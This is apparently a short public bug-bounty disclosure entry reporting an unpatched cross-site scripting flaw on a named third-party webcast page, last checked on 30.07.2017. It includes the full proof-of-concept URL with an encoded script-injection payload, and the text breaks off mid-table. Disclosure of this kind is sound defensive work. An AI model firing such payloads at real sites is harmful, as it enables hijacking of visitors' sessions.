royalmailgroup.emincote.com XSS vulnerability

Vulnerable URL: http://royalmailgroup.emincote.com/event/webcast.php?eventid=971%27%22--!%3E%3CScript%20/K/%3EconfirmOPENBUGBOUNTY//%3C/Script%20/K/%3E%3C!--=flash Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:|...